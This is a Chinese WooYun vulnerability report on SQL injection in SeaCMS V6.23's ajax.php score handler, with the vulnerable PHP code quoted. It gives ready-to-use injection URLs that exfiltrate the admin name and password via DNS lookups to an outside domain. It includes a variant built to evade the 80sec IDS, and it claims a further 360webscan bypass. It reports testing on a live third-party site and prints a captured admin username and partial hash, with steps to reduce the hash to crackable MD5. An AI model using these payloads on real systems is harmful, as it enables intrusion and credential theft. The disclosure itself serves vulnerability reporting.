当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0185538

漏洞标题:Seacms最新版多处update注入(绕过360webscan)

相关厂商:SeaCms

漏洞作者: Pany自留地

提交时间:2016-03-18 15:50

修复时间:2016-06-20 15:50

公开时间:2016-06-20 15:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-18: 细节已通知厂商并且等待厂商处理中
2016-03-22: 厂商已经确认,细节仅向厂商公开
2016-03-25: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

简要描述:

update注入一枚,通过dns直接获取敏感信息。
版本:V6.23
同时绕过80sec ids,360webscan

详细说明:

SeaCms有一个类似全局注册变量的机制,为后面的漏洞埋下了伏笔

//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}


漏洞文件:\include\ajax.php
11-44行

switch ($action) {
case "digg":
case "tread":
case "score":
echo scoreVideo($action);
break;
case "diggnews":
case "treadnews":
case "scorenews":
echo scoreNews($action);
break;
case "hit":
echo updateHit();
break;
case "hitnews":
echo updateHitNews();
break;
case "addfav":
echo addfav();
break;
case "videoscore":
case "newsscore":
echo getScore($action);
break;
case "vpingfen":
echo vpingfen($action);
break;
case "npingfen":
echo npingfen($action);
break;
case "member":
echo member();
break;
}


问题出在了scoreVideo()函数,跟进这个函数

function scoreVideo($operType){
global $id,$dsql,$score;
if($id < 1) return "err";
.......此处省略几行代码..........
}elseif($operType=="score"){
if(GetCookie("ssea3_score".$id)=="ok") return "havescore";
$dsql->ExecuteNoneQuery("Update `sea_data` set v_scorenum=v_scorenum+1,v_score=v_score+".$score." where v_id=$id");
PutCookie("ssea3_score".$id,"ok",3600 * 24,'/');
return '';
}else{
return "err";
}
}


$dsql->ExecuteNoneQuery("Update `sea_data` set v_scorenum=v_scorenum+1,v_score=v_score+".$score." where v_id=$id");
$id和$score都可以控,造成了SQL注入。

$score=2,v_digg=(select user())

的时候,意外的把字段v_digg的内容利用子查询更新成工具者想获取的信息
接下来编写poc
首先理清程序的逻辑
$action=score 才能进入scoreVideo()这个函数
同时$id要大于1,否则 return "err";
Cookie中ssea3_score.$id的值不能为ok,否则 return "havescore";
因为无法直接获取子查询的数据,这里我使用DNS来获取数据(这个方法的局限性是目标环境要使用root用户连接的数据库才能获取到数据)
参考《在SQL注入中使用DNS获取数据》
http://**.**.**.**/tips/5283
理论上poc为:

http://localhost/include/ajax.php?action=score&id=1&score=2,v_digg=(SELECT%20LOAD_FILE(CONCAT(0x5c5c5c5c,(select%20concat_ws(0x5f,name,password)%20from%20sea_admin%20limit%201),0x2e33633866396633646330633032363538356261303131326633316335353632632e776f6f79756e2e67715c5c5c5c666f6f626172)))


但是由于程序使用了80sec的ids。绕过后的POC:

http://localhost/include/ajax.php?action=score&id=1&score=@`\'`,v_digg=(SELECT%20LOAD_FILE(CONCAT(0x5c5c5c5c,(select%20concat_ws(0x5f,name,password)%20from%20sea_admin%20limit%201),0x2e33633866396633646330633032363538356261303131326633316335353632632e776f6f79756e2e67715c5c5c5c666f6f626172))),v_hit=@`\'`


在本地调试的时候,360webscan不会进行拦截,但在实际线上环境中,上面的poc是会被360webscan拦截的。

QQ截图20160316214440.png


因此还得绕过360webscan(最终poc在测试代码中)

漏洞证明:

找了一个线上环境:http://**.**.**.**/
dns获取到的

QQ截图20160316215237.png


用户:mosss 密码:78832884f6c8c932a264
Seacms的加密方式和dedecms都是20位的md5,要还原密码得前减3位后减1位,得到16位MD5

QQ截图20160316220429.png

修复方案:

sql参数化查询可以做到根本上解决这类的问题。

版权声明:转载请注明来源 Pany自留地@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-03-22 15:49

厂商回复:

CNVD未直接复现所述情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无